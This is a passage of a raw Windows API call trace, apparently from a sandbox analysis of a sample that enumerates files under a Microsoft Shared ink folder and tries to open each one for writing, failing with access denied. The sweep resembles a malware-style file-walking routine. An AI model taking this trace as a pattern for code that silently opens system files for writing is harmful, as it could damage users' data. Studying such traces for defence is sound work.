ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0142.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.535] GetLastError () returned 0x5 [0142.539] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0142.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.542] GetLastError () returned 0x5 [0142.542] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0142.542] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0142.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.542] GetLastError () returned 0x5 [0142.542] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0142.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.542] GetLastError () returned 0x5 [0142.542] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0142.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.543] GetLastError () returned 0x5 [0142.543] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0142.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.544] GetLastError () returned 0x5 [0142.544] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0142.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.544] GetLastError () returned 0x5 [0142.544] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0142.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.544] GetLastError () returned 0x5 [0142.544] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0142.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.544] GetLastError () returned 0x5 [0142.544] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0142.545] GetProcessHeap () returned 0x2a0000 [0142.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.545] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.546] GetProcessHeap () returned 0x2a0000 [0142.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.546] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.546] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.546] GetProcessHeap () returned 0x2a0000 [0142.546] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.546] GetLastError () returned 0x5 [0142.546] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.546] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.546] GetProcessHeap () returned 0x2a0000 [0142.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.546] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0142.546] GetProcessHeap () returned 0x2a0000 [0142.546] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.547] GetProcessHeap () returned 0x2a0000 [0142.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.547] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.547] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.547] GetProcessHeap () returned 0x2a0000 [0142.547] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.547] GetLastError () returned 0x5 [0142.547] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.548] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.548] GetProcessHeap () returned 0x2a0000 [0142.548] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.548] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0142.548] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0142.548] GetProcessHeap () returned 0x2a0000 [0142.548] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.548] GetProcessHeap () returned 0x2a0000 [0142.548] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.548] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.549] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.549] GetProcessHeap () returned 0x2a0000 [0142.549] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.549] GetLastError () returned 0x5 [0142.549] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.549] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.549] GetProcessHeap () returned 0x2a0000 [0142.549] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.549] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0142.549] GetProcessHeap () returned 0x2a0000 [0142.549] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.551] GetProcessHeap () returned 0x2a0000 [0142.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.551] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.551] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.551] GetProcessHeap () returned 0x2a0000 [0142.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.552] GetLastError () returned 0x5 [0142.552] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.552] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.552] GetProcessHeap () returned 0x2a0000 [0142.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.552] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0142.552] GetProcessHeap () returned 0x2a0000 [0142.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.552] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.553] GetProcessHeap () returned 0x2a0000 [0142.553] HeapFree 